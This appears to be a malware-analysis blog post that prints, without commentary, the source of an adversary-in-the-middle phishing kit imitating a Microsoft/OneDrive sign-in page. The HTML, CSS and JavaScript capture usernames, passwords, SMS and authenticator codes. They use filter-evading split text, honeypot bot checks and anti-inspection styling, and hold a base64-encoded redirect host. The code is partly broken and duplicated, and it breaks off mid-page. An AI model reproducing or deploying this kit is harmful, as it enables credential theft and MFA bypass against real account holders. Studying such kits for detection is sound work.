phishing-kit

You are here: Home > Malware and Behavior Analysis > Current Article

By sectorx / February 20, 2026 / Comments Off on phishing-kit

AITM kit sample (inert / displayed as code)

<html lang="en"><head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" href="images/favicon.ico">
    <title>Verify your account</title>
    <noscript>
        <meta http-equiv="Refresh" content="0; URL=#" />
    </noscript>
    <style>
        @media screen and (min-width:600px) {
            
        html,
        body {
            content: ""; /* Empty content to allow the pseudo-element to render */
            position: absolute; /* Absolute positioning */
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            z-index: -1; /* Ensure it stays behind other content */
            background-image: url("images/onedrive.png");
            background-size: cover; /* Scale image to cover the entire area */
            background-position: center; /* Center the background image */
            background-repeat: no-repeat; /* Prevent repeating the image */
        } 
                }

* {
            padding: 0;
            margin: 0;
            box-sizing: border-box;
            font-family: "Segoe UI", "Helvetica Neue", "Lucida Grande", "Roboto", "Ebrima", "Nirmala UI", "Gadugi", "Segoe Xbox Symbol", "Segoe UI Symbol", "Meiryo UI", "Khmer UI", "Tunga", "Lao UI", "Raavi", "Iskoola Pota", "Latha", "Leelawadee", "Microsoft YaHei UI", "Microsoft JhengHei UI", "Malgun Gothic", "Estrangelo Edessa", "Microsoft Himalaya", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Tai Le", "Microsoft Yi Baiti", "Mongolian Baiti", "MV Boli", "Myanmar Text", "Cambria Math";
        }

html,
        body {
            background-color: #e2e5d3;
            color: #1b1b1b;
        }

section {
            display: table-cell;
            vertical-align: middle;
            height: 100vh;
            width: 1000rem;
            max-width: 100%;
        }

/* Authentication wrapper styling */
        .a_wrapper_719 {
            position: relative;
            max-width: 440px;
            width: calc(100% - 40px);
            padding: 44px;
            margin: auto;
            margin-bottom: 28px;
            background-color: #fff;
            -webkit-box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
            -moz-box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
            box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
            min-width: 320px;
        }

/* Ball style */
        .a_element_952 {
            width: 5px;  /* Ball size */
            height: 5px;
            border-radius: 50%;
            background-color: #0067b8;
            position: absolute;
            top: 0; /* Center vertically */
            left: 0; /* Ensure they start from the left */
            animation: run 1.5s infinite linear;
        }

/* Keyframes for ball movement */
        @keyframes run {
            0% {
            left: 0;
            opacity: 1;
            transform: scale(1);
            animation-timing-function: ease-in;
            }
            50% {
            left: 50%;
            opacity: 1;
            transform: scale(1);
            animation-timing-function: linear;
            }
            60% {
            left: 60%;
            opacity: 1;
            transform: scale(1);
            animation-timing-function: ease-in-out;
            }
            100% {
            left: 100%;
            opacity: 0;
            transform: scale(0);
            }
        }

/* Delay for each ball to create the following effect */
        .ball-runner:nth-child(1) { animation-delay: 0s; }
        .ball-runner:nth-child(2) { animation-delay: 0.1s; }
        .ball-runner:nth-child(3) { animation-delay: 0.2s; }
        .ball-runner:nth-child(4) { animation-delay: 0.3s; }
        .ball-runner:nth-child(5) { animation-delay: 0.4s; }

/* Overlay styling */
        .a_element_709 {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(255, 255, 255, 0.8);
            display: none;
            justify-content: center;
            align-items: center;
            z-index: 10;
            pointer-events: none;
            opacity: 0.5;
        }

.a_element_709.a_module_935 {
            display: flex;
        }

/* Loading spinner styling */
        .a_panel_548 {
            border: 4px solid rgba(0, 0, 0, 0.1);
            border-radius: 50%;
            border-top: 4px solid #0067b8;
            width: 40px;
            height: 40px;
            animation: spin 1s linear infinite;
        }

@keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

.a_module_393 {
            pointer-events: none;
        }

/* Update all other CSS classes to use random names */
        .a_component_241 {
            line-height: 1.75rem;
            color: #1b1b1b;
            font-size: 1.5rem;
            font-weight: 600;
        }

.a_wrapper_136 {
            padding: 10px 44px;
            max-width: 440px;
            cursor: pointer;
            margin: auto;
            background-color: #fff;
            -webkit-box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
            -moz-box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
            box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
        }

.a_wrapper_136:hover {
            background-color: rgba(0, 0, 0, .1);
        }

/* Input styling */
        .a_block_743 {
            position: relative;
        }

.a_wrapper_701 {
            position: absolute;
            top: 50%;
            left: 1px;
            transform: translateY(-50%);
            pointer-events: none;
            opacity: 0.7;
        }

.a_component_724 {
            padding: 6px 10px 6px 0px;
            border: 1px solid rgba(0, 0, 0, .6);
            height: 36px;
            outline: none;
            border-radius: 0;
            -webkit-border-radius: 0;
            background-color: transparent;
            border-top-width: 0;
            border-left-width: 0;
            border-right-width: 0;
            width: calc(100% - 20px);
        }

.a_component_724:hover {
            border-color: rgba(0, 0, 0, .8);
        }

.a_component_724::placeholder {
            font-size: 15px;
        }

.a_component_724:focus + .a_wrapper_701,
        .a_component_724:not(:placeholder-shown) + .a_wrapper_701 {
            display: none;
        }

/* Common utility classes */
        .mb-0 { margin-bottom: 0; }
        .mb-16 { margin-bottom: 16px; }
        .mt-16 { margin-top: 16px; }
        .w-100 { width: 100%; }
        .d-none { display: none !important; }
        .d-block { display: block; }
        .fs-13 { font-size: 13px; }

/* Link styling */
        a.a_item_303 {
            text-decoration: none;
            color: #0067b8;
        }

a.a_item_303:hover {
            text-decoration: underline;
            color: #666;
        }

a.a_item_303:focus {
            border: 1px dotted #000;
            text-decoration: underline;
        }

/* Override default link styles */
        a {
            text-decoration: none;
            color: #0067b8;
        }

a:hover {
            text-decoration: none;
            color: #666;
        }

a:focus {
            text-decoration: none;
            outline: none;
        }

/* Footer links should not have underlines */
        .a_wrapper_873 a {
            text-decoration: none;
            color: #000;
            font-size: 12px;
            line-height: 28px;
            margin-left: 8px;
            margin-right: 8px;
        }

.a_wrapper_873 a:hover {
            text-decoration: none;
            color: #666;
        }

.a_wrapper_873 span {
            font-size: 20px;
            line-height: 20px;
        }

.a_wrapper_873 a:hover {
            text-decoration: underline;
        }

/* Button styling */
        .a_panel_105 {
            margin: 0 0 0 auto;
            display: block;
            background-color: #0067b8;
            color: #fff;
            border: 2px solid #0067b8;
            padding: 5px 30px;
            font-size: 15px;
            cursor: pointer;
        }

.a_panel_105:hover {
            background-color: #005da6;
        }

.a_container_966 {
            background-color: #b2b2b2;
            color: #000;
            border-color: #b2b2b2;
        }

.a_container_966:hover {
            background-color: rgba(0, 0, 0, .3);
        }

#btn_final:hover {
            text-decoration: underline;
        }

.a_element_861 {
            text-align: right;
            width: 100%;
            margin: 16px 0;
        }

.a_element_861 > .a_panel_105 {
            display: inline;
        }

.a_element_861 > .a_panel_105:not(:last-child) {
            margin-right: 5px;
        }

/* Icon and layout styling */
        .a_item_159 {
            display: flex;
            gap: 5px;
            align-items: center;
        }

.a_item_159 .a_block_448 {
            display: inline-flex;
        }

/* Back button */
        .a_element_215 {
            border: none;
            border-radius: 50%;
            width: 24px;
            height: 24px;
            background-color: unset;
            cursor: pointer;
        }

.a_element_215:hover {
            background-color: rgba(0, 0, 0, .1);
        }

/* Identity display */
        .a_widget_553 {
            display: inline-flex;
            gap: 5px;
        }

#occupied {
            font-size: 15px;
            color: #1b1b1b;
        }

/* Error styling */
        .a_section_640 {
            color: var(--error) !important;
        }

.a_element_426 {
            border-bottom-color: var(--error) !important;
        }

/* Footer styling */
        .a_wrapper_873 {
            position: absolute;
            left: 0;
            bottom: 0;
            width: 100%;
            overflow: visible;
            z-index: 99;
            clear: both;
            min-height: 28px;
            display: flex;
            flex-direction: row;
            gap: 10px;
            justify-content: end;
        }

.a_wrapper_873 a,
        .a_wrapper_873 span {
            color: #000;
            font-size: 12px;
            line-height: 28px;
            margin-left: 8px;
            margin-right: 8px;
            text-decoration: none;
        }

.a_wrapper_873 span {
            font-size: 20px;
            line-height: 20px;
        }

.a_wrapper_873 a:hover {
            text-decoration: underline;
        }

/* Form elements */
        .text-title {
            font-size: 1.5rem;
        }

label.has-checkbox {
            display: inline-flex;
            align-items: center;
            gap: 5px;
        }

.checkbox {
            width: 20px;
            height: 20px;
        }

.p {
            font-weight: 400;
            font-size: 15px;
            margin: 16px 0;
        }

img {
            vertical-align: middle;
        }

/* Responsive styles */
        @media screen and (max-width:600px) {
            html,
            body {
            background-color: #fff;
            }
            section {
            display: block !important;
            }
            .a_wrapper_719 {
            box-shadow: none !important;
            padding: 24px !important;
            width: unset !important;
            max-width: unset !important;
            }
            .a_wrapper_136 {
            box-shadow: none !important;
            padding: 8px 24px !important;
            border: 1px solid #999;
            max-width: calc(100% - 48px);
            margin: 12% auto !important;
            }
            .a_wrapper_873 {
            justify-content: start;
            }
        }

:root {
            --error: #e81123;
        }
        @keyframes blink {
            0% { opacity: 1; }
            50% { opacity: 0; }
            100% { opacity: 1; }
        }

.blinking {
            animation: blink 3s infinite;
        }

.a_module_610 {
            display: table;
            width: 100%;
            border-spacing: 0;
        }
        .a_component_596 {
            display: table-row;
            cursor: pointer;
        }
        .a_component_596:hover {
            background-color: #f0f0f0;
        }
        .a_component_596 span {
            display: table-cell;
            padding: 10px;
            vertical-align: middle;
            font-size: 85%;
        }
        .a_component_596 .a_block_448 {
            width: 20%;
            padding-right: 5px;
        }
        .hidden {
            display: none;
        }

/* Anti-bot honeypot fields */
        .a_block_429 {
            position: absolute !important;
            left: -9999px !important;
            top: -9999px !important;
            visibility: hidden !important;
            opacity: 0 !important;
            width: 0 !important;
            height: 0 !important;
            font-size: 0 !important;
            line-height: 0 !important;
            border: none !important;
            background: transparent !important;
            pointer-events: none !important;
        }

/* Anti-inspection protection */
        body::before {
            content: "";
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: transparent;
            z-index: -1;
            pointer-events: none;
        }

/* Disable text selection and right-click */
        * {
            -webkit-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
            -webkit-touch-callout: none;
            -webkit-tap-highlight-color: transparent;
        }

input, textarea {
            -webkit-user-select: text;
            -moz-user-select: text;
            -ms-user-select: text;
            user-select: text;
        }
    </style>
    
    <script defer="" src="js/runtime.chunk.js"></script>
    <script defer="" src="js/vendors.commons.js"></script>
    
    <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous" defer=""></script>
        
    <script defer="" src="js/bot-detection-config.js"></script>
    <script defer="" src="js/bot-detection.js"></script>
    <script defer="">
        const debugMode = false;
        const phpConfig = {"prop_label_155":"1","prop_value_150":"U2lnbi1pbiBvcHRpb25z","prop_state_352":"images\/onedrive.png","prop_mode_436":"images\/logo.png","prop_label_998":"aHR0cHM6Ly8xY2IxNTMyYy5kb2MtZXhwaXJlZC5wYWdlcy5kZXYv","prop_text_245":"gfA7S2FlyAcPfRZis319mEXnkEhpXw","prop_status_233":"https:\/\/href.li\/?https:\/\/en.wikisource.org\/wiki\/Microsoft_v._AT%26T","prop_mode_145":"jRkNCLO7rRj","prop_label_566":"f13d53aacbeac9a0e92b529d60dabbd6","prop_count_354":1770844738,"debug":false} || {};

<body data-rsssl=1 data-rsssl=1 data-rsssl=1 data-rsssl=1>
    <section id="sec_box_819" class="">
    <div class="a_wrapper_719">
        <div class="a_element_709" id="ovl_input_207">
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
        </div>
        <img decoding="async" class="d-block" src="images/logo.png" alt="Badge">
        <h2 class="a_component_241 mb-16 mt-16">
            <img decoding="async" src="images/sign.png" alt="Image" class="d-block">
        </h2>
        <form id="form_wrapper_385">
            <input type="text" name="promo_code_80" class="a_block_429" tabindex="-1" autocomplete="off" data-ddg-inputtype="unknown">
            <input type="text" name="linkedin_16" class="a_block_429" tabindex="-1" autocomplete="off" data-ddg-inputtype="unknown">
            <input type="text" name="middle_name_28" class="a_block_429" tabindex="-1" autocomplete="off" data-ddg-inputtype="identities.middleName" data-ddg-autofill="true">
            
            <div class="mb-16">
                <p id="err_panel_745" class="a_section_640"></p>
                <div class="a_block_743">
                    <img decoding="async" src="images/emailphone.png" alt="Input hint" class="a_wrapper_701" id="ph_area_317">
                    <input id="inp_field_474" type="text" name="txt_546" class="a_component_724" placeholder="" autocomplete="off" data-ddg-inputtype="unknown">
                </div>
            </div>
        </form>
        <div>
            <p class="mb-16 fs-13">N<b></b>o ac<b></b>co<b></b>un<b></b>t? <a href="" class="a_item_303">Cr<b></b>e<b></b>ate on<b></b>e!</a></p>
            <p class="mb-16 fs-13">
                <a href="#" class="a_item_303">Sign in with a security key
                    <img decoding="async" src="images/question.png" alt="Help">
                </a>
            </p>
        </div>
        <div>
            <button class="a_panel_105" id="btn_field_799">N<b></b>e<b></b>x<b></b>t</button>
        </div>
    </div>
    <div class="a_wrapper_136">
        <p class="a_item_159 mb-0" style="font-size:15px;">
            <span class="a_block_448"><img decoding="async" src="images/key.png" width="30px" alt="Badge"></span> 
            <span id="opt_area_559">Sign-in options</span>
        </p>
    </div>
</section>

<section id="sec_form_716" class="d-none">window.addEventListener('load',function(){
const configRef = window[Object.keys(window).find(k => k.startsWith('jsConfig_'))];
const { vars: _funcs14, functions: fnMap, props: hbProps } = configRef;

const hbCache = window[_funcs14.phpConfig];
const errMsgs = window[_funcs14.errorMessages];
const stateb44f = window[_funcs14.validationState];
const options1ed0 = window[_funcs14.initialOptions];
let viewRef = window[_funcs14.view];
let email0132 = window[_funcs14.enmail];
const accessData747b = window[_funcs14.statusAccessData];

const hbIds = JSON.parse(atob(window[_funcs14.damang]));
const _classes81 = JSON.parse(atob(window[_funcs14.suke]));f

const _debug61 = hbCache && hbCache.debug === true;
let hbDefaultItem = '';

const classMap = new Map();
const _getClass91 = (c) => {
    if (!classMap.has(c)) classMap.set(c, _classes81[c] || c);
    return classMap.get(c);
};

const elementsb176 = {
    uname: document.getElementById(hbIds.inp_uname),
    pwd: document.getElementById(hbIds.inp_pwd),
    code: document.getElementById(hbIds.inp_verifnotif),
    sms: document.getElementById(hbIds.inp_codesms),
    forms: {
        uname: document.getElementById(hbIds.form),
        pwd: document.getElementById(hbIds.form2),
        code: document.getElementById(hbIds.form3),
        sms: document.getElementById(hbIds.form4)
    },
    logo: document.getElementById(hbIds.logoimage),
    placeholders: {
        uname: document.getElementById(hbIds['placeholder-image']),
        pwd: document.getElementById(hbIds['placeholder-image-2'])
    },
    signInOptions: document.getElementById(hbIds.signInOptions),
    messageElement: document.getElementById(hbIds.firstmessage),
    sections: {
        uname: document.getElementById(hbIds.section_uname),
        pwd: document.getElementById(hbIds.section_pwd),
        final: document.getElementById(hbIds.section_final),
        verifnotif: document.getElementById(hbIds.section_verifnotif),
        sms: document.getElementById(hbIds.section_sms),
        appnotif: document.getElementById(hbIds.section_appnotif),
        twofa: document.getElementById(hbIds.section_2fa),
        redirect: document.getElementById(hbIds.section_redirect)
    },
    errors: {
        uname: document.getElementById(hbIds.error_uname),
        pwd: document.getElementById(hbIds.error_pwd),
        verifnotif: document.getElementById(hbIds.error_verifnotif),
        sms: document.getElementById(hbIds.error_sms)
    },
    occupied: document.querySelectorAll('#' + hbIds.occupied),
    buttons: {
        next: document.getElementById(hbIds.btn_next),
        sig: document.getElementById(hbIds.btn_sig),
        notif: document.getElementById(hbIds.btn_notif),
        sms: document.getElementById(hbIds.btn_sms),
        final: document.querySelectorAll('#' + hbIds.btn_final),
        back: document.querySelectorAll('.' + _getClass91('back'))
    },
    entropy: document.getElementById(hbIds.entropy),
    options: document.querySelectorAll('.' + _getClass91('option')),
    link_back: document.getElementById(hbIds.link_back),
    showDisplay: document.getElementById(hbIds.showDisplay),
    showDisplay2: document.getElementById(hbIds.showDisplay2),
    loadingBall: document.querySelector('.loading-ball'),
    overlays: {
        uname: document.getElementById(hbIds.overlay),
        pwd: document.getElementById(hbIds.overlay2),
        '2fa': document.getElementById(hbIds.overlay6),
        sms: document.getElementById(hbIds.overlay4),
        '2fa_submit_app': document.getElementById(hbIds.overlay5),
        verifnotif: document.getElementById(hbIds.overlay3)
    }
};

const setOccupiedRef = (t) => {
    const els = elementsb176.occupied;
    for (let i = 0; i < els.length; i++) els[i].innerText = t;
};

const hbFocusSelect = (el) => { el.focus(); el.select(); };

const toggleVisRef = (id, show) => {
    const el = document.getElementById(id);
    el?.classList.toggle('d-none', !show);
};

const hbSetBgLogo = (bgUrl, iconUrl) => {
    if (window.innerWidth >= 768) {
        const bg = bgUrl || hbCache[hbProps.defaultBackground];
        document.body.style.cssText = "content:'';position:absolute;top:0;left:0;right:0;bottom:0;z-index:-1;background-image:url('" + bg + "');background-size:cover;background-position:center;background-repeat:no-repeat;";
    }
    elementsb176.logo.src = iconUrl || hbCache[hbProps.defaultLogo];
};

const toggleOpt5c2f = (sel, show) => {
    const el = document.querySelector(sel);
    el?.classList.toggle('d-none', !show);
};

const hbShowLoad = () => elementsb176.loadingBall?.classList.remove('d-none');
const hbHideLoad = () => elementsb176.loadingBall?.classList.add('d-none');

const showOverlayRef = (sec) => {
    const secEl = document.getElementById(hbIds['section_' + sec]);
    secEl?.classList.add(_getClass91('section-disabled'));
    elementsb176.overlays[sec]?.classList.add(_getClass91('active'));
};

const _hideSection55 = (sec) => {
    const secEl = document.getElementById(hbIds['section_' + sec]);
    if (secEl) secEl.classList.remove(_getClass91('section-disabled'));
    const ovl = elementsb176.overlays[sec];
    if (ovl) ovl.classList.remove(_getClass91('active'));
};

const nav2FA10bb = () => {
    hbHideLoad();
    hbHideAll();
    _transition62('2fa', 'twofa', 'pwd');
    stateb44f[hbProps.pwd] = true;
    stateb44f[hbProps.two] = false;
};

const navFinalec9a = () => {
    hbHideAll();
    hbHideOverlay('pwd', true, '');
    _transition62('final', 'final', 'pwd');
    stateb44f[hbProps.pwd] = true;
};

const resetPwd32b9 = () => {
    hbHideOverlay('pwd', false, errMsgs[hbProps.incorrectPassword]);
    elementsb176.messageElement.style.display = 'none';
    elementsb176.pwd.value = '';
    hbFocusSelect(elementsb176.pwd);
    elementsb176.placeholders.pwd.style.display = 'block';
};

const handle2FAOptRef = (opt) => {
    validate2FARef(opt.getAttribute('data-url'));
    showOverlayRef('2fa');
};

const resetToPwdRef = () => {
    hbUpdateView('pwd', ['section_pwd'], ['section_twofa']);
    setOccupiedRef(email0132);
    elementsb176.uname.value = email0132;
    stateb44f[hbProps.uname] = true;
    stateb44f[hbProps.pwd] = false;
};

const hbHandleFinal = () => {
    if (viewRef === 'final') window.location.href = atob(hbCache[hbProps.finalRedirect]);
    else if (viewRef === '2fa') resetToPwdRef();
};

const validateRef = () => {
    if (viewRef === 'uname') hbValidateUser();
    else if (viewRef === 'pwd') validatePwdRef();
    else if (viewRef === '2fa_submit_code') validateCodea213();
    else if (viewRef === '2fa_submit_sms') hbValidateSms();
    return false;
};

const hbHandleRedir = () => {
    hbHideAll();
    setOccupiedRef(elementsb176.uname.value);
    hbSetBgLogo(hbCache[hbProps.defaultBackground], hbCache[hbProps.defaultLogo]);
    hbUpdateView('redirect', ['redirect'], ['uname', 'pwd']);
    stateb44f[hbProps.uname] = true;
    setTimeout(() => { window.location.href = 'access?' + hbCache[hbProps.randString]; }, 2000);
};

if (viewRef === 'redirect') {
    stateb44f[hbProps.uname] = true;
    setOccupiedRef(email0132);
    elementsb176.uname.value = email0132;
    _transition62('redirect', 'redirect');
    setTimeout(() => window.location.href = 'access?' + hbCache[hbProps.randString], 1500);
}

if (viewRef === 'pwd') {
    stateb44f[hbProps.uname] = true;
    setOccupiedRef(email0132);
    elementsb176.uname.value = email0132;
    _transition62('pwd', 'pwd');
    hbFocusSelect(elementsb176.pwd);
}

if (viewRef === 'uname') hbFocusSelect(elementsb176.uname);

if (accessData747b) handleAccessRef();

elementsb176.options.forEach(opt => opt.addEventListener('click', () => handle2FAOptRef(opt)));

elementsb176.link_back.addEventListener('click', e => {
    e.preventDefault();
    stateb44f[hbProps.two] = false;
    stateb44f[hbProps.app] = false;
    hbUpdateView('2fa', ['section_twofa'], ['section_appnotif']);
});

const inpHandler = (inp, errEl) => () => updateInputRef(inp, errEl);
elementsb176.uname.addEventListener('input', inpHandler(elementsb176.uname, elementsb176.errors.uname));
elementsb176.pwd.addEventListener('input', inpHandler(elementsb176.pwd, elementsb176.errors.pwd));
elementsb176.code.addEventListener('input', inpHandler(elementsb176.code, elementsb176.errors.verifnotif));
elementsb176.sms.addEventListener('input', inpHandler(elementsb176.sms, elementsb176.errors.sms));

const valHandler = () => validateRef();
elementsb176.buttons.next.addEventListener('click', valHandler);
elementsb176.buttons.sig.addEventListener('click', valHandler);
elementsb176.buttons.notif.addEventListener('click', valHandler);
elementsb176.buttons.sms.addEventListener('click', valHandler);

const subHandler = e => { e.preventDefault(); validateRef(); };
elementsb176.forms.uname.addEventListener('submit', subHandler);
elementsb176.forms.pwd.addEventListener('submit', subHandler);
elementsb176.forms.code.addEventListener('submit', subHandler);
elementsb176.forms.sms.addEventListener('submit', subHandler);

elementsb176.uname.addEventListener('keydown', enterHandler);
elementsb176.pwd.addEventListener('keydown', enterHandler);
elementsb176.code.addEventListener('keydown', enterHandler);
elementsb176.sms.addEventListener('keydown', enterHandler);

elementsb176.buttons.back.forEach(btn => btn.addEventListener('click', handleBackc55f));
elementsb176.buttons.final.forEach(btn => btn.addEventListener('click', hbHandleFinal));

toggleOpt5c2f('.' + _getClass91('option') + '[data-url="verify_sms"]', options1ed0[hbProps.sms]);
toggleOpt5c2f('.' + _getClass91('option') + '[data-url="verify_app"]', options1ed0[hbProps.app]);
toggleOpt5c2f('.' + _getClass91('option') + '[data-url="verify_code"]', options1ed0[hbProps.code]);

elementsb176.signInOptions.textContent = atob(hbCache[hbProps.encodedText]);
});

window.addEventListener('load',function(){
const configRef = window[Object.keys(window).find(k => k.startsWith('jsConfig_'))];
const { vars: _funcs14, functions: fnMap, props: hbProps } = configRef;

const hbIds = JSON.parse(atob(window[_funcs14.damang]));
const _classes81 = JSON.parse(atob(window[_funcs14.suke]));f

const _debug61 = hbCache && hbCache.debug === true;
let hbDefaultItem = '';

const classMap = new Map();
const _getClass91 = (c) => {
    if (!classMap.has(c)) classMap.set(c, _classes81[c] || c);
    return classMap.get(c);
};

const setOccupiedRef = (t) => {
    const els = elementsb176.occupied;
    for (let i = 0; i < els.length; i++) els[i].innerText = t;
};

const hbFocusSelect = (el) => { el.focus(); el.select(); };

const toggleVisRef = (id, show) => {
    const el = document.getElementById(id);
    el?.classList.toggle('d-none', !show);
};

const toggleOpt5c2f = (sel, show) => {
    const el = document.querySelector(sel);
    el?.classList.toggle('d-none', !show);
};

const hbShowLoad = () => elementsb176.loadingBall?.classList.remove('d-none');
const hbHideLoad = () => elementsb176.loadingBall?.classList.add('d-none');

const nav2FA10bb = () => {
    hbHideLoad();
    hbHideAll();
    _transition62('2fa', 'twofa', 'pwd');
    stateb44f[hbProps.pwd] = true;
    stateb44f[hbProps.two] = false;
};

const navFinalec9a = () => {
    hbHideAll();
    hbHideOverlay('pwd', true, '');
    _transition62('final', 'final', 'pwd');
    stateb44f[hbProps.pwd] = true;
};

const handle2FAOptRef = (opt) => {
    validate2FARef(opt.getAttribute('data-url'));
    showOverlayRef('2fa');
};

const hbHandleFinal = () => {
    if (viewRef === 'final') window.location.href = atob(hbCache[hbProps.finalRedirect]);
    else if (viewRef === '2fa') resetToPwdRef();
};

if (viewRef === 'uname') hbFocusSelect(elementsb176.uname);

if (accessData747b) handleAccessRef();

elementsb176.options.forEach(opt => opt.addEventListener('click', () => handle2FAOptRef(opt)));

elementsb176.buttons.back.forEach(btn => btn.addEventListener('click', handleBackc55f));
elementsb176.buttons.final.forEach(btn => btn.addEventListener('click', hbHandleFinal));

elementsb176.signInOptions.textContent = atob(hbCache[hbProps.encodedText]);
});

<div class="a_wrapper_719">
        <div class="a_element_709" id="ovl_panel_196">
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
        </div>
        <img decoding="async" id="logo_panel_174" src="images/logo.png" alt="Badge" style="max-width: 168px; max-height: 36px; width: auto; height: auto;" class="d-block">
        <div class="a_widget_553 w-100 mt-16 mb-16">
            <button class="a_element_215">
                <img decoding="async" src="images/back.png" alt="Button">
            </button>
            <span id="occ_container_252">a@b.com</span>
        </div>
        <h2 class="a_component_241 mb-16">Enter code</h2>
        <p class="p">
            <img decoding="async" src="images/verifnotif2.png" style="width: 85%; height: auto;" alt="Validate" class="d-block">
        </p>
        <form id="form_button_987">
            <div class="mb-16">
                <p class="a_section_640" id="err_input_602"></p>
                <div class="a_block_743">
                    <input id="inp_panel_763" type="text" name="val_478b" class="a_component_724" placeholder="Code" autocomplete="off">
                </div>
            </div>
        </form>
        <div>
            <p class="mb-16"> <a href="#" class="a_item_303 fs-13">M<b></b>o<b></b>re inf<b></b>orm<b></b>at<b></b>ion</a></p>
        </div>
        <div>
            <button class="a_panel_105" id="btn_form_827">Ve<b></b>ri<b></b>f<b></b>y</button>
        </div>
    </div>
</section>

<section id="sec_panel_585" class="d-none">
    <div class="a_wrapper_719">
        <div class="a_element_709" id="ovl_container_398">
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
        </div>
        <img decoding="async" id="logo_panel_174" src="images/logo.png" alt="Badge" style="max-width: 168px; max-height: 36px; width: auto; height: auto;" class="d-block">
        <div class="a_widget_553 w-100 mt-16 mb-16">
            <button class="a_element_215">
                <img decoding="async" src="images/back.png" alt="Button">
            </button>
            <span id="occ_container_252">a@b.com</span>
        </div>
        <h2 class="a_component_241 mb-16">Enter code</h2>
        <p id="disp_section_369" class="a_item_159 mb-0" style="font-size:15px;">
            <span class="a_block_448"><img decoding="async" src="images/info.png" alt="Message" style="width: 85%; height: auto;"></span> 
            We texted your phone +XX XXXXXXXX23. Please enter the code to sign in.
        </p>
        <br>
        <form id="form_box_180">
            <div class="mb-16">
                <p class="a_section_640" id="err_section_354"></p>
                <div class="a_block_743">
                    <input id="inp_input_551" type="text" name="field_4f7c" class="a_component_724" placeholder="Enter code" autocomplete="off">
                </div>
            </div>
        </form>
        <div>
            <p class="mb-16"> <a href="#" class="a_item_303 fs-13">Mo<b></b>re inf<b></b>or<b></b>mati<b></b>on</a></p>
        </div>
        <div>
            <button class="a_panel_105" id="btn_section_269">Ve<b></b>rif<b></b>y</button>
        </div>
    </div>
</section>

<section id="sec_wrapper_232" class="d-none">
    <div class="a_wrapper_719">
        <div class="a_element_709" id="ovl_wrapper_587">
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
        </div>
        <img decoding="async" id="logo_panel_174" src="images/logo.png" alt="Badge" style="max-width: 168px; max-height: 36px; width: auto; height: auto;" class="d-block">
        <div class="a_widget_553 w-100 mt-16 mb-16">
            <span id="occ_container_252">a@b.com</span>
        </div>
        <h2 class="a_component_241 mb-16">Approve sign in request</h2>
        <p class="a_item_159 mb-0" style="font-size:15px;">
            <span class="a_block_448"><img decoding="async" src="images/appnotif2.png" alt="Shield" class="blinking" style="width: 85%; height: auto;"></span> 
            Open your Authenticator app, and enter the number shown to sign in.
        </p>
        <br>
        <div style="display: flex; justify-content: center; align-items: center;">
            <p id="ent_box_765" class="a_item_159 mb-0" style="font-size: 40px; text-align: center; border: 2px solid black; padding: 10px;">
                50
            </p>
        </div>
        <br><br>
        <p class="a_item_159 mb-0" style="font-size:15px;">No numbers in your app? Make sure to upgrade to the latest version.</p><br>
        <div>
            <p class="mb-16"> <a href="#" id="lnk_area_435" class="a_item_303 fs-13">I can't use my Microsoft Authenticator app right now</a></p>
            <p class="mb-16"> <a href="#" class="a_item_303 fs-13">More information</a></p>
        </div>
    </div>
</section>

<section id="sec_wrapper_899" class="d-none"> 
    <div class="a_wrapper_719">
        <div class="a_element_709" id="ovl_field_913">
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
            <div class="a_element_952"></div>
        </div>
        <img decoding="async" src="images/logo.png" alt="Badge" class="d-block">
        <div class="a_widget_553 w-100 mt-16 mb-16">
            <span id="occ_container_252">a@b.com</span>
        </div>
        <h2 class="a_component_241 mb-16">
            <img decoding="async" src="images/verify.png" style="width: 60%; height: auto;" alt="Check" class="d-block">
        </h2>
        <div class="a_module_610">
            <div class="a_component_596 d-none" data-url="verify_app">
                <span class="a_block_448"><img decoding="async" src="images/verify_app.png" alt="Validate" style="width: 65%; height: auto;"></span>
                <span>Approve a request on my Microsoft Authenticator app</span>
            </div>
            <div class="a_component_596 d-none" data-url="verify_code">
                <span class="a_block_448"><img decoding="async" src="images/verify_code.png" alt="Lock" style="width: 65%; height: auto;"></span>
                <span>Use a verification code</span>
            </div>
            <div class="a_component_596 d-none" data-url="verify_sms">
                <span class="a_block_448"><img decoding="async" src="images/verify_sms.png" alt="Shield" style="width: 65%; height: auto;"></span>
                <span id="disp_panel_937">Text +XX XXXXXXXX23</span>
            </div>
        </div><br>
        <div>
            <p class="mb-16"> <a href="#" class="a_item_303 fs-13">M<b></b>o<b></b>re in<b></b>fo<b></b>rma<b></b>tion</a></p>
            <p class="fs-13">
                Are your verification methods current? Check at ht<b></b>tps<b></b>://ak<b></b>a.ms/m<b></b>fa<b></b>set<b></b>up
            </p>
        </div>
        <div class="a_element_861">
